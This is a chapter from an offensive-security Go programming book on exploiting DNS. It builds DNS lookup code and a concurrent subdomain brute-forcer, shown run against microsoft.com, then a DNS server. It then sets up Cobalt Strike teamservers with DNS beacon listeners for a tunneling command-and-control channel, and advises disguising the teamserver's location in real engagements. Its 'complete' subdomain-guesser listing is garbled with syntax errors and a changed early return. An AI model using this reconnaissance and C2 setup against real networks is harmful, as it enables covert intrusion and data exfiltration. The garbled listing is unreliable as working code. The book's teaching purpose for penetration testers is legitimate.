5
EXPLOITING DNS

Image

The Domain Name System (DNS) locates internet domain names and translates them to IP addresses. It can be an effective weapon in the hands of an attacker, because organizations commonly allow the protocol to egress restricted networks and they frequently fail to monitor its use adequately. It takes a little knowledge, but savvy attackers can leverage these issues throughout nearly every step of an attack chain, including reconnaissance, command and control (C2), and even data exfiltration. In this chapter, you’ll learn how to write your own utilities by using Go and third-party packages to perform some of these capabilities.

You’ll start by resolving hostnames and IP addresses to reveal the many types of DNS records that can be enumerated. Then you’ll use patterns illustrated in earlier chapters to build a massively concurrent subdomain-guessing tool. Finally, you’ll learn how to write your own DNS server and proxy, and you’ll use DNS tunneling to establish a C2 channel out of a restrictive network!

Writing DNS Clients

Before exploring programs that are more complex, let’s get acquainted with some of the options available for client operations. Go’s built-in net package offers great functionality and supports most, if not all, record types. The upside to the built-in package is its straightforward API. For example, LookupAddr(addr string) returns a list of hostnames for a given IP address. The downside of using Go’s built-in package is that you can’t specify the destination server; instead, the package will use the resolver configured on your operating system. Another downside is that you can’t run deep inspection of the results.

To get around this, you’ll use an amazing third-party package called the Go DNS package written by Miek Gieben. This is our preferred DNS package because it’s highly modular, well written, and well tested. Use the following to install this package:

$ go get github.com/miekg/dns

Once the package is installed, you’re ready to follow along with the upcoming code examples. You’ll begin by performing A record lookups in order to resolve IP addresses for hostnames.

Retrieving A Records

Let’s start by performing a lookup for a fully qualified domain name (FQDN), which specifies a host’s exact location in the DNS hierarchy. Then we’ll attempt to resolve that FQDN to an IP address, using a type of DNS record called an A record. We use A records to point a domain name to an IP address. Listing 5-1 shows an example lookup. (All the code listings at the root location of / exist under the provided github repo https://github.com/blackhat-go/bhg/.)

package main

import (
    "fmt"

    "github.com/miekg/dns"
)

func main() {
  var msg dns.Msg
  fqdn := dns.Fqdn("stacktitan.com")
  msg.SetQuestion(fqdn, dns.TypeA)
  dns.Exchange(&msg, "8.8.8.8:53")
}

Listing 5-1: Retrieving an A record (/ch-5/get_a/main.go)

Start by creating a new Msg and then call fqdn(string) to transform the domain into a FQDN that can be exchanged with a DNS server . Next, modify the internal state of the Msg with a call to SetQuestion(string, uint16) by using the TypeA value to denote your intent to look up an A record . (This is a const defined in the package. You can view the other supported values in the package documentation.) Finally, place a call to Exchange(*Msg, string) in order to send the message to the provided server address, which is a DNS server operated by Google in this case.

As you can probably tell, this code isn’t very useful. Although you’re sending a query to a DNS server and asking for the A record, you aren’t processing the answer; you aren’t doing anything meaningful with the result. Prior to programmatically doing that in Go, let’s first review what the DNS answer looks like so that we can gain a deeper understanding of the protocol and the different query types.

Before you execute the program in Listing 5-1, run a packet analyzer, such as Wireshark or tcpdump, to view the traffic. Here’s an example of how you might use tcpdump on a Linux host:

$ sudo tcpdump -i eth0 -n udp port 53

In a separate terminal window, compile and execute your program like this:

$ go run main.go

Once you execute your code, you should see a connection to 8.8.8.8 over UDP 53 in the output from your packet capture. You should also see details about the DNS protocol, as shown here:

$ sudo tcpdump -i eth0 -n udp port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
23:55:16.523741 IP 192.168.7.51.53307 > 8.8.8.8.53: 25147+ A? stacktitan.com. (32)
23:55:16.650905 IP 8.8.8.8.53 > 192.168.7.51.53307: 25147 1/0/0 A 104.131.56.170 (48) 

The packet capture output produces a couple of lines that require further explanation. First, a query is being placed from 192.168.7.51 to 8.8.8.8 by using UDP 53 while requesting a DNS A record . The response is returned from Google’s 8.8.8.8 DNS server, which contains the resolved IP address, 104.131.56.170.

Using a packet analyzer such as tcpdump, you’re able to resolve the domain name stacktitan.com to an IP address. Now let’s take a look at how to extract that information by using Go.

Processing Answers from a Msg struct

The returned values from Exchange(*Msg, string) are (*Msg, error). Returning the error type makes sense and is common in Go idioms, but why does it return *Msg if that’s what you passed in? To clarify this, look at how the struct is defined in the source:

type Msg struct {
    MsgHdr
    Compress    bool       `json:"-"` // If true, the message will be compressed...
  Question    []Question            // Holds the RR(s) of the question section.
  Answer      []RR                  // Holds the RR(s) of the answer section.
    Ns          []RR                  // Holds the RR(s) of the authority section.
    Extra       []RR                  // Holds the RR(s) of the additional section.
}

As you can see, the Msg struct holds both questions and answers. This lets you consolidate all your DNS questions and their answers into a single, unified structure. The Msg type has various methods that make working with the data easier. For example, the Question slice is being modified with the convenience method SetQuestion(). You could modify this slice directly by using append() and achieve the same outcome. The Answer slice holds the response to the queries and is of type RR. Listing 5-2 demonstrates how to process the answers.

package main

import (
    "fmt"

    "github.com/miekg/dns"
)

func main() {
    var msg dns.Msg
    fqdn := dns.Fqdn("stacktitan.com")
    msg.SetQuestion(fqdn, dns.TypeA)
  in, err := dns.Exchange(&msg, "8.8.8.8:53")
    if err != nil {
        panic(err)
    }
  if len(in.Answer) < 1 {
        fmt.Println("No records")
        return
    }
    for _, answer := range in.Answer {
        if a, ok:= answer.(*dns.A); ok {
          fmt.Println(a.A)
        }
    }
}

Listing 5-2: Processing DNS answers (/ch-5/get_all_a/main.go)

Our example begins by storing the values returned from Exchange, checking whether there was an error, and if so, calling panic() to stop the program . The panic() function lets you quickly see the stack trace and identify where the error occurred. Next, validate that the length of the Answer slice is at least 1 , and if it isn’t, indicate that there are no records and immediately return—after all, there will be legitimate instances when the domain name cannot be resolved.

The type RR is an interface with only two defined methods, and neither allows access to the IP address stored in the answer. To access those IP addresses, you’ll need to perform a type assertion to create an instance of the data as your desired type.

First, loop over all the answers. Next, perform the type assertion on the answer to ensure that you’re dealing with a *dns.A type . When performing this action, you can receive two values: the data as the asserted type and a bool representing whether the assertion was successful . After checking whether the assertion was successful, print the IP address stored in a.A . Although the type is net.IP, it does implement a String() method, so you can easily print it.

Spend time with this code, modifying the DNS query and exchange to search for additional records. The type assertion may be unfamiliar, but it’s a similar concept to type casting in other languages.

Enumerating Subdomains

Now that you know how to use Go as a DNS client, you can create useful tools. In this section, you’ll create a subdomain-guessing utility. Guessing a target’s subdomains and other DNS records is a foundational step in reconnaissance, because the more subdomains you know, the more you can attempt to attack. You’ll supply our utility a candidate wordlist (a dictionary file) to use for guessing subdomains.

With DNS, you can send requests as fast as your operating system can handle the processing of packet data. While the language and runtime aren’t going to become a bottleneck, the destination server will. Controlling the concurrency of your program will be important here, just as it has been in previous chapters.

First, create a new directory in your GOPATH called subdomain_guesser, and create a new file main.go. Next, when you first start writing a new tool, you must decide which arguments the program will take. This subdomain-guessing program will take several arguments, including the target domain, the filename containing subdomains to guess, the destination DNS server to use, and the number of workers to launch. Go provides a useful package for parsing command line options called flag that you’ll use to handle your command line arguments. Although we don’t use the flag package across all of our code examples, we’ve opted to use it in this case to demonstrate more robust, elegant argument parsing. Listing 5-3 shows our argument-parsing code.

package main

import (
    "flag"
)

func main() {
    var (
        flDomain      = flag.String("domain", "", "The domain to perform guessing against.") 
        flWordlist    = flag.String("wordlist", "", "The wordlist to use for guessing.")
        flWorkerCount = flag.Int("c", 100, "The amount of workers to use.") 
        flServerAddr  = flag.String("server", "8.8.8.8:53", "The DNS server to use.")
    )
    flag.Parse() 
}

Listing 5-3: Building a subdomain guesser (/ch-5/subdomain_guesser/main.go)

First, the code line declaring the flDomain variable takes a String argument and declares an empty string default value for what will be parsed as the domain option. The next pertinent line of code is the flWorkerCount variable declaration . You need to provide an Integer value as the c command line option. In this case, set this to 100 default workers. But this value is probably too conservative, so feel free to increase the number when testing. Finally, a call to flag.Parse() populates your variables by using the provided input from the user.

NOTE

You may have noticed that the example is going against Unix law in that it has defined optional arguments that aren’t optional. Please feel free to use os.Args here. We just find it easier and faster to let the flag package do all the work.

If you try to build this program, you should receive an error about unused variables. Add the following code immediately after your call to flag.Parse(). This addition prints the variables to stdout along with code, ensuring that the user provided -domain and -wordlist:

if *flDomain == "" || *flWordlist == "" {
    fmt.Println("-domain and -wordlist are required")
    os.Exit(1)
}
fmt.Println(*flWorkerCount, *flServerAddr)

To allow your tool to report which names were resolvable along with their respective IP addresses, you’ll create a struct type to store this information. Define it above the main() function:

type result struct {
    IPAddress string
    Hostname string
}

You’ll query two main record types—A and CNAME—for this tool. You’ll perform each query in a separate function. It’s a good idea to keep your functions as small as possible and to have each perform one thing well. This style of development allows you to write smaller tests in the future.

Querying A and CNAME Records

You’ll create two functions to perform queries: one for A records and the other for CNAME records. Both functions accept a FQDN as the first argument and the DNS server address as the second. Each should return a slice of strings and an error. Add these functions to the code you began defining in Listing 5-3. These functions should be defined outside main().

func lookupA(fqdn, serverAddr string) ([]string, error) {
    var m dns.Msg
    var ips []string
    m.SetQuestion(dns.Fqdn(fqdn), dns.TypeA)
    in, err := dns.Exchange(&m, serverAddr)
    if err != nil {
        return ips, err
    }
    if len(in.Answer) < 1 {
        return ips, errors.New("no answer")
    }
    for _, answer := range in.Answer {
        if a, ok := answer.(*dns.A); ok {
            ips = append(ips, a.A.String())
        }
    }
    return ips, nil
}

func lookupCNAME(fqdn, serverAddr string) ([]string, error) {
    var m dns.Msg
    var fqdns []string
    m.SetQuestion(dns.Fqdn(fqdn), dns.TypeCNAME)
    in, err := dns.Exchange(&m, serverAddr)
    if err != nil {
        return fqdns, err
    }
    if len(in.Answer) < 1 {
        return fqdns, errors.New("no answer")
    }
    for _, answer := range in.Answer {
        if c, ok := answer.(*dns.CNAME); ok {
            fqdns = append(fqdns, c.Target)
        }
    }
    return fqdns, nil
}

This code should look familiar because it’s nearly identical to the code you wrote in the first section of this chapter. The first function, lookupA, returns a list of IP addresses, and lookupCNAME returns a list of hostnames.

CNAME, or canonical name, records point one FQDN to another one that serves as an alias for the first. For instance, say the owner of the example.com organization wants to host a WordPress site by using a WordPress hosting service. That service may have hundreds of IP addresses for balancing all of their users’ sites, so providing an individual site’s IP address would be infeasible. The WordPress hosting service can instead provide a canonical name (a CNAME) that the owner of example.com can reference. So www.example.com might have a CNAME pointing to someserver.hostingcompany.org, which in turn has an A record pointing to an IP address. This allows the owner of example.com to host their site on a server for which they have no IP information.

Often this means you’ll need to follow the trail of CNAMES to eventually end up at a valid A record. We say trail because you can have an endless chain of CNAMES. Place the function in the following code outside main() to see how you can use the trail of CNAMES to track down the valid A record:

func lookup(fqdn, serverAddr string) []result {
  var results []result
  var cfqdn = fqdn // Don't modify the original.
    for {
      cnames, err := lookupCNAME(cfqdn, serverAddr)
      if err == nil && len(cnames) > 0 {
          cfqdn = cnames[0]
          continue // We have to process the next CNAME.
        }
      ips, err := lookupA(cfqdn, serverAddr)
        if err != nil {
            break // There are no A records for this hostname.
        }
      for _, ip := range ips {
            results = append(results, result{IPAddress: ip, Hostname: fqdn})
        }
      break // We have processed all the results.
    }
    return results
}

First, define a slice to store results . Next, create a copy of the FQDN passed in as the first argument , not only so you don’t lose the original FQDN that was guessed, but also so you can use it on the first query attempt. After starting an infinite loop, try to resolve the CNAMEs for the FQDN . If no errors occur and at least one CNAME is returned , set cfqdn to the CNAME returned , using continue to return to the beginning of the loop . This process allows you to follow the trail of CNAMES until a failure occurs. If there’s a failure, which indicates that you’ve reached the end of the chain, you can then look for A records ; but if there’s an error, which indicates something went wrong with the record lookup, then you leave the loop early. If there are valid A records, append each of the IP addresses returned to your results slice and break out of the loop . Finally, return the results to the caller.

Our logic associated with the name resolution seems sound. However, you haven’t accounted for performance. Let’s make our example goroutine-friendly so you can add concurrency.

Passing to a Worker Function

You’ll create a pool of goroutines that pass work to a worker function, which performs a unit of work. You’ll do this by using channels to coordinate work distribution and the gathering of results. Recall that you did something similar in Chapter 2, when you built a concurrent port scanner.

Continue to expand the code from Listing 5-3. First, create the worker() function and place it outside main(). This function takes three channel arguments: a channel for the worker to signal whether it has closed, a channel of domains on which to receive work, and a channel on which to send results. The function will need a final string argument to specify the DNS server to use. The following code shows an example of our worker() function:

type empty struct{} 

func worker(tracker chan empty, fqdns chan string, gather chan []result, serverAddr string) {
    for fqdn := range fqdns { 
        results := lookup(fqdn, serverAddr)
        if len(results) > 0 {
            gather <- results 
        }
    }
    var e empty
    tracker <- e 
}

Before introducing the worker() function, first define the type empty to track when the worker finishes . This is a struct with no fields; you use an empty struct because it’s 0 bytes in size and will have little impact or overhead when used. Then, in the worker() function, loop over the domains channel , which is used to pass in FQDNs. After getting results from your lookup() function and checking to ensure there is at least one result, send the results on the gather channel , which accumulates the results back in main(). After the work loop exits because the channel has been closed, an empty struct is sent on the tracker channel to signal the caller that all work has been completed. Sending the empty struct on the tracker channel is an important last step. If you don’t do this, you’ll have a race condition, because the caller may exit before the gather channel receives results.

Since all of the prerequisite structure is set up at this point, let’s refocus our attention back to main() to complete the program we began in Listing 5-3. Define some variables that will hold the results and the channels that will be passed to worker(). Then append the following code into main():

var results []result
fqdns := make(chan string, *flWorkerCount)
gather := make(chan []result)
tracker := make(chan empty)

Create the fqdns channel as a buffered channel by using the number of workers provided by the user. This allows the workers to start slightly faster, as the channel can hold more than a single message before blocking the sender.

Creating a Scanner with bufio

Next, open the file provided by the user to consume as a word list. With the file open, create a new scanner by using the bufio package. The scanner allows you to read the file one line at a time. Append the following code into main():

fh, err := os.Open(*flWordlist)
if err != nil {
    panic(err)
}
defer fh.Close()
scanner := bufio.NewScanner(fh)

The built-in function panic() is used here if the error returned is not nil. When you’re writing a package or program that others will use, you should consider presenting this information in a cleaner format.

You’ll use the new scanner to grab a line of text from the supplied word list and create a FQDN by combining the text with the domain the user provides. You’ll send the result on the fqdns channel. But you must start the workers first. The order of this is important. If you were to send your work down the fqdns channel without starting the workers, the buffered channel would eventually become full, and your producers would block. You’ll add the following code to your main() function. Its purpose is to start the worker goroutines, read your input file, and send work on your fqdns channel.

 for i := 0; i < *flWorkerCount; i++ {
       go worker(tracker, fqdns, gather, *flServerAddr)
   }

 for scanner.Scan() {
       fqdns <- fmt.Sprintf("%s.%s", scanner.Text(), *flDomain)
   }

Creating the workers by using this pattern should look similar to what you did when building your concurrent port scanner: you used a for loop until you reached the number provided by the user. To grab each line in the file, scanner.Scan() is used in a loop . This loop ends when there are no more lines to read in the file. To get a string representation of the text from the scanned line, use scanner.Text() .

The work has been launched! Take a second to bask in greatness. Before reading the next code, think about where you are in the program and what you’ve already done in this book. Try to complete this program and then continue to the next section, where we’ll walk you through the rest.

Gathering and Displaying the Results

To finish up, first start an anonymous goroutine that will gather the results from the workers. Append the following code into main():

go func() {
    for r := range gather {
      results = append(results, r...)
    }
    var e empty
  tracker <- e
}()

By looping over the gather channel, you append the received results onto the results slice . Since you’re appending a slice to another slice, you must use the ... syntax . After you close the gather channel and the loop ends, send an empty struct to the tracker channel as you did earlier . This is done to prevent a race condition in case append() doesn’t finish by the time you eventually present the results to the user.

All that’s left is closing the channels and presenting the results. Include the following code at the bottom of main() in order to close the channels and present the results to the user:

 close(fqdns)
 for i := 0; i < *flWorkerCount; i++ {
       <-tracker
   }
 close(gather)
 <-tracker

The first channel that can be closed is fqdns because you’ve already sent all the work on this channel. Next, you need to receive on the tracker channel one time for each of the workers , allowing the workers to signal that they exited completely. With all of the workers accounted for, you can close the gather channel because there are no more results to receive. Finally, receive one more time on the tracker channel to allow the gathering goroutine to finish completely .

The results aren’t yet presented to the user. Let’s fix that. If you wanted to, you could easily loop over the results slice and print the Hostname and IPAddress fields by using fmt.Printf(). We prefer, instead, to use one of Go’s several great built-in packages for presenting data; tabwriter is one of our favorites. It allows you to present data in nice, even columns broken up by tabs. Add the following code to the end of main() to use tabwriter to print your results:

w := tabwriter.NewWriter(os.Stdout, 0, 8, 4, ' ', 0)
for _, r := range results {
    fmt.Fprintf(w, "%s	%s
", r.Hostname, r.IPAddress)
}
w.Flush()

Listing 5-4 shows the program in its entirety.

Package main

import (
    "bufio"
    "errors"
    "flag"
    "fmt"
    "os"
    "text/tabwriter"

    "github.com/miekg/dns"
)

func lookupA(fqdn, serverAddr string) ([]string, error) {
    var m dns.Msg
    var ips []string
    m.SetQuestion(dns.Fqdn(fqdn), dns.TypeA)
    in, err := dns.Exchange(&m, serverAddr)
    if err != nil {
        return ips, err
    }
    if len(in.Answer) < 1 {
        return ips, errors.New("no answer")
    }
    for _, answer := range in.Answer {
        if a, ok := answer.(*dns.A); ok {
            ips = append(ips, a.A.String())
            return ips, nil
        }
    }
    return ips, nil
}

func lookupCNAME(fqdn, serverAddr string) ([]string, error) {
    var m dns.Msg
    var fqdns []string
    m.SetQuestion(dns.Fqdn(fqdn), dns.TypeCNAME)
    in, err := dns.Exchange(&m, serverAddr)
    if err != nil {
        return fqdns, err
    }
    if len(in.Answer) < 1 {
        return fqdns, errors.New("no answer")
    }
    for _, answer := range in.Answer {
        if c, ok := answer.(*dns.CNAME); ok {
            fqdns = append(fqdns, c.Target)
        }
    }
    return fqdns, nil
}

func lookup(fqdn, serverAddr string) []result {
    var results []result
    var cfqdn = fqdn // Don't modify the original.
    For {
        cnames, err := lookupCNAME(cfqdn, serverAddr)
        if err == nil && len(cnames) > 0 {
            cfqdn = cnames[0]
            continue // We have to process the next CNAME.
        }
        ips, err := lookupA(cfqdn, serverAddr)
        if err != nil {
            break // There are no A records for this hostname.
        }
        for _, ip := range ips {
            results = append(results, result{IPAddress: ip, Hostname: fqdn})
        }
        break // We have processed all the results.
    }
    return results
}

func worker(tracker chan empty, fqdns chan string, gather chan []result, serverAddr string) {
    for fqdn := range fqdns {
        results := lookup(fqdn, serverAddr)
        if len(results) > 0 {
            gather <- results
        }
    }
    var e empty
    tracker <- e
}

type empty struct{}

type result struct {
    IPAddress string
    Hostname string
}

func main() {
    var (
        flDomain      = flag.String("domain", "", "The domain to perform guessing against.")
        flWordlist    = flag.String("wordlist", "", "The wordlist to use for guessing.")
        flWorkerCount = flag.Int("c", 100, "The amount of workers to use.")
        flServerAddr  = flag.String("server", "8.8.8.8:53", "The DNS server to use.")
    )
    flag.Parse()

    if *flDomain == "" || *flWordlist == "" {
        fmt.Println("-domain and -wordlist are required")
        os.Exit(1)
    }

    var results []result

    fqdns := make(chan string, *flWorkerCount)
    gather := make(chan []result)
    tracker := make(chan empty)

    fh, err := os.Open(*flWordlist)
    if err != nil {
        panic(err)
    }
    defer fh.Close()
    scanner := bufio.NewScanner(fh)

    for I := 0; i < *flWorkerCount; i++ {
        go worker(tracker, fqdns, gather, *flServerAddr)
    }

    for scanner.Scan() {
        fqdns <- fmt.Sprintf"%s.%", scanner.Text(), *flDomain)
    }
    // Note: We could check scanner.Err() here.

    go func() {
        for r := range gather {
            results = append(results, I.)
        }
        var e empty
        tracker <- e
    }()

    close(fqdns)
    for i := 0; i < *flWorkerCount; i++ {
        <-tracker
    }
    close(gather)
    <-tracker

    w := tabwriter.NewWriter(os.Stdout, 0, 8' ', ' ', 0)
    for _, r := range results {
        fmt.Fprint"(w, "%s"%s
", r.Hostname, r.IPAddress)
    }
    w.Flush()
}

Listing 5-4: The complete subdomain-guessing program (/ch-5/subdomain_guesser/main.go)

Your subdomain-guessing program is complete! You should now be able to build and execute your shiny new subdomain-guessing tool. Try it with word lists or dictionary files in open source repositories (you can find plenty with a Google search). Play around with the number of workers; you may find that if you go too fast, you’ll get varying results. Here’s a run from the authors’ system using 100 workers:

$ wc -l namelist.txt
1909 namelist.txt
$ time ./subdomain_guesser -domain microsoft.com -wordlist namelist.txt -c 1000
ajax.microsoft.com            72.21.81.200
buy.microsoft.com             157.56.65.82
news.microsoft.com            192.230.67.121
applications.microsoft.com    168.62.185.179
sc.microsoft.com              157.55.99.181
open.microsoft.com            23.99.65.65
ra.microsoft.com              131.107.98.31
ris.microsoft.com             213.199.139.250
smtp.microsoft.com            205.248.106.64
wallet.microsoft.com          40.86.87.229
jp.microsoft.com              134.170.185.46
ftp.microsoft.com             134.170.188.232
develop.microsoft.com         104.43.195.251
./subdomain_guesser -domain microsoft.com -wordlist namelist.txt -c 1000 0.23s user 0.67s system 22% cpu 4.040 total

You’ll see that the output shows several FQDNs and their IP addresses. We were able to guess the subdomain values for each result based off the word list provided as an input file.

Now that you’ve built your own subdomain-guessing tool and learned how to resolve hostnames and IP addresses to enumerate different DNS records, you’re ready to write your own DNS server and proxy.

Writing DNS Servers

As Yoda said, “Always two there are, no more, no less.” Of course, he was talking about the client-server relationship, and since you’re a master of clients, now is the time to become a master of servers. In this section, you’ll use the Go DNS package to write a basic server and a proxy. You can use DNS servers for several nefarious activities, including but not limited to tunneling out of restrictive networks and conducting spoofing attacks by using fake wireless access points.

Before you begin, you’ll need to set up a lab environment. This lab environment will allow you to simulate realistic scenarios without having to own legitimate domains and use costly infrastructure, but if you’d like to register domains and use a real server, please feel free to do so.

Lab Setup and Server Introduction

Your lab consists of two virtual machines (VMs): a Microsoft Windows VM to act as client and an Ubuntu VM to act as server. This example uses VMWare Workstation along with Bridged network mode for each machine; you can use a private virtual network, but make sure that both machines are on the same network. Your server will run two Cobalt Strike Docker instances built from the official Java Docker image (Java is a prerequisite for Cobalt Strike). Figure 5-1 shows what your lab will look like.

Image

Figure 5-1: The lab setup for creating your DNS server

First, create the Ubuntu VM. To do this, we’ll use version 16.04.1 LTS. No special considerations need to be made, but you should configure the VM with at least 4 gigabytes of memory and two CPUs. You can use an existing VM or host if you have one. After the operating system has been installed, you’ll want to install a Go development environment (see Chapter 1).

Once you’ve created the Ubuntu VM, install a virtualization container utility called Docker. In the proxy section of this chapter, you’ll use Docker to run multiple instances of Cobalt Strike. To install Docker, run the following in your terminal window:

$ sudo apt-get install apt-transport-https ca-certificates
sudo apt-key adv 
               --keyserver hkp://ha.pool.sks-keyservers.net:80 
               --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
$ echo "deb https://apt.dockerproject.org/repo ubuntu-xenial main" | sudo tee
/etc/apt/sources.list.d/docker.list
$ sudo apt-get update
$ sudo apt-get install linux-image-extra-$(uname -r) linux-image-extra-virtual
$ sudo apt-get install docker-engine
$ sudo service docker start
$ sudo usermod -aG docker USERNAME

After installing, log out and log back into your system. Next, verify that Docker has been installed by running the following command:

$ docker version
Client:
 Version:      1.13.1
 API version:  1.26
 Go version:   go1.7.5
 Git commit:   092cba3
 Built:        Wed Feb  5 06:50:14 2020
 OS/Arch:      linux/amd64

With Docker installed, use the following command to download a Java image. This command pulls down the base Docker Java image but doesn’t create any containers. You’re doing this to prepare for your Cobalt Strike builds shortly.

$ docker pull java

Finally, you need to ensure that dnsmasq isn’t running, because it listens on port 53. Otherwise, your own DNS servers won’t be able to operate, since they’re expected to use the same port. Kill the process by ID if it’s running:

$ ps -ef | grep dnsmasq
nobody    3386  2020  0 12:08
$ sudo kill 3386

Now create a Windows VM. Again, you can use an existing machine if available. You don’t need any special settings; minimal settings will do. Once the system is functional, set the DNS server to the IP address of the Ubuntu system.

To test your lab setup and to introduce you to writing DNS servers, start by writing a basic server that returns only A records. In your GOPATH on the Ubuntu system, create a new directory called github.com/blackhat-go/bhg/ch-5/a_server and a file to hold your main.go code. Listing 5-5 shows the entire code for creating a simple DNS server.

package main

import (
    "log"
    "net"

    "github.com/miekg/dns"
)

func main() {
  dns.HandleFunc(".", func(w dns.ResponseWriter, req *dns.Msg) {
      var resp dns.Msg
        resp.SetReply(req)
        for _, q := range req.Question {
          a := dns.A{
                Hdr: dns.RR_Header{
                    Name:   q.Name,
                    Rrtype: dns.TypeA,
                    Class:  dns.ClassINET,
                    Ttl:    0,
                },
                A: net.ParseIP("127.0.0.1").To4(),
            }
         resp.Answer = append(resp.Answer, &a)
        }
      w.WriteMsg(&resp)
    })
  log.Fatal(dns.ListenAndServe(":53", "udp", nil))
}

Listing 5-5: Writing a DNS server (/ch-5/a_server/main.go)

The server code starts with a call to HandleFunc() ; it looks a lot like the net/http package. The function’s first argument is a query pattern to match. You’ll use this pattern to indicate to the DNS servers which requests will be handled by the supplied function. By using a period, you’re telling the server that the function you supply in the second argument will handle all requests.

The next argument passed to HandleFunc() is a function containing the logic for the handler. This function receives two arguments: a ResponseWriter and the request itself. Inside the handler, you start by creating a new message and setting the reply . Next, you create an answer for each question, using an A record, which implements the RR interface. This portion will vary depending on the type of answer you’re looking for . The pointer to the A record is appended to the response’s Answer field by using append() . With the response complete, you can write this message to the calling client by using w.WriteMsg() . Finally, to start the server, ListenAndServe() is called . This code resolves all requests to an IP address of 127.0.0.1.

Once the server is compiled and started, you can test it by using dig. Confirm that the hostname for which you’re querying resolves to 127.0.0.1. That indicates it’s working as designed.

$ dig @localhost facebook.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> @localhost facebook.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33594
;; flags: qr rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;facebook.com.                   IN        A

;; ANSWER SECTION:
facebook.com.             0      IN        A      127.0.0.1

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sat Dec 19 13:13:45 MST 2020
;; MSG SIZE  rcvd: 58

Note that the server will need to be started with sudo or a root account, because it listens on a privileged port—port 53. If the server doesn’t start, you may need to kill dnsmasq.

Creating DNS Server and Proxy

DNS tunneling, a data exfiltration technique, can be a great way to establish a C2 channel out of networks with restrictive egress controls. If using an authoritative DNS server, an attacker can route through an organization’s own DNS servers and out through the internet without having to make a direct connection to their own infrastructure. Although slow, it’s difficult to defend against. Several open source and proprietary payloads perform DNS tunneling, one of which is Cobalt Strike’s Beacon. In this section, you’ll write your own DNS server and proxy and learn how to multiplex DNS tunneling C2 payloads by using Cobalt Strike.

Configuring Cobalt Strike

If you’ve ever used Cobalt Strike, you may have noticed that, by default, the teamserver listens on port 53. Because of this, and by the recommendation of the documentation, only a single server should ever be run on a system, maintaining a one-to-one ratio. This can become problematic for medium-to-large teams. For example, if you have 20 teams conducting offensive engagements against 20 separate organizations, standing up 20 systems capable of running the teamserver could be difficult. This problem isn’t unique to Cobalt Strike and DNS; it’s applicable to other protocols, including HTTP payloads, such as Metasploit Meterpreter and Empire. Although you could establish listeners on a variety of completely unique ports, there’s a greater probability of egressing traffic over common ports such as TCP 80 and 443. So the question becomes, how can you and other teams share a single port and route to multiple listeners? The answer is with a proxy, of course. Back to the lab.

NOTE

In real engagements, you’d want to have multiple levels of subterfuge, abstraction, and forwarding to disguise the location of your teamserver. This can be done using UDP and TCP forwarding through small utility servers using various hosting providers. The primary teamserver and proxy can also run on separate systems, having the teamserver cluster on a large system with plenty of RAM and CPU power.

Let’s run two instances of Cobalt Strike’s teamserver in two Docker containers. This allows the server to listen on port 53 and lets each teamserver have what will effectively be their own system and, consequently, their own IP stack. You’ll use Docker’s built-in networking mechanism to map UDP ports to the host from the container. Before you begin, download a trial version of Cobalt Strike at https://trial.cobaltstrike.com/. After following the trial sign-up instructions, you should have a fresh tarball in your download directory. You’re now ready to start the teamservers.

Execute the following in a terminal window to start the first container:

$ docker run --rm -it -p 2020:53 -p 50051:50050 -v full path to
cobalt strike download:/data java /bin/bash

This command does several things. First, you tell Docker to remove the container after it exits , and that you’d like to interact with it after starting . Next, you map port 2020 on your host system to port 53 in the container , and port 50051 to port 50050 . Next, you map the directory containing the Cobalt Strike tarball to the data directory on the container . You can specify any directory you want and Docker will happily create it for you. Finally, provide the image you want to use (in this case, Java) and the command you’d like to execute on startup. This should leave you with a bash shell in the running Docker container.

Once inside the Docker container, start the teamserver by executing the following commands:

$ cd /root
$ tar -zxvf /data/cobaltstrike-trial.tgz
$ cd cobaltstrike
$ ./teamserver <IP address of host> <some password>

The IP address provided should be that of your actual VM, not the IP address of the container.

Next, open a new terminal window on the Ubuntu host and change into the directory containing the Cobalt Strike tarball. Execute the following commands to install Java and start the Cobalt Strike client:

$ sudo add-apt-repository ppa:webupd8team/java
$ sudo apt update
$ sudo apt install oracle-java8-installer
$ tar -zxvf cobaltstrike-trial.tgz
$ cd cobaltstrike
$ ./cobaltstrike

The GUI for Cobalt Strike should start up. After clearing the trial message, change the teamserver port to 50051 and set your username and password accordingly.

You’ve successfully started and connected to a server running completely in Docker! Now, let’s start a second server by repeating the same process. Follow the previous steps to start a new teamserver. This time, you’ll map different ports. Incrementing the ports by one should do the trick and is logical. In a new terminal window, execute the following command to start a new container and listen on ports 2021 and 50052:

$ docker run --rm -it -p 2021:53 -p 50052:50050-v full path to cobalt strike
download:/data java /bin/bash

From the Cobalt Strike client, create a new connection by selecting Cobalt StrikeNew Connection, modifying the port to 50052, and selecting Connect. Once connected, you should see two tabs at the bottom of the console, which you can use to switch between servers.

Now that you’ve successfully connected to the two teamservers, you should start two DNS listeners. To create a listener, select Configure Listeners from the menu; its icon looks like a pair of headphones. Once there, select Add from the bottom menu to bring up the New Listener window. Enter the following information:

  • Name: DNS 1

  • Payload: windows/beacon_dns/reverse_dns_txt

  • Host: <IP address of host>

  • Port: 0

In this example, the port is set to 80, but your DNS payload still uses port 53, so don’t worry. Port 80 is specifically used for hybrid payloads. Figure 5-2 shows the New Listener window and the information you should be entering.

Image

Figure 5-2: Adding a new listener

Next, you’ll be prompted to enter the domains to use for beaconing, as shown in Figure 5-3.

Enter the domain attacker1.com as the DNS beacon, which should be the domain name to which your payload beacons. You should see a message indicating that a new listener has started. Repeat the process within the other teamserver, using DNS 2 and attacker2.com. Before you start using these two listeners, you’ll need to write an intermediary server that inspects the DNS messages and routes them appropriately. This, essentially, is your proxy.

Image

Figure 5-3: Adding the DNS beacon’s domain

Creating a DNS Proxy

The DNS package you’ve been using throughout this chapter makes writing an intermediary function easy, and you’ve already used some of these functions in previous sections. Your proxy needs to be able to do the following:

  • Create a handler function to ingest an incoming query

  • Inspect the question in the query and extract the domain name

  • Identify the upstream DNS server correlating to the domain name

  • Exchange the question with the upstream DNS server and write the response to the client

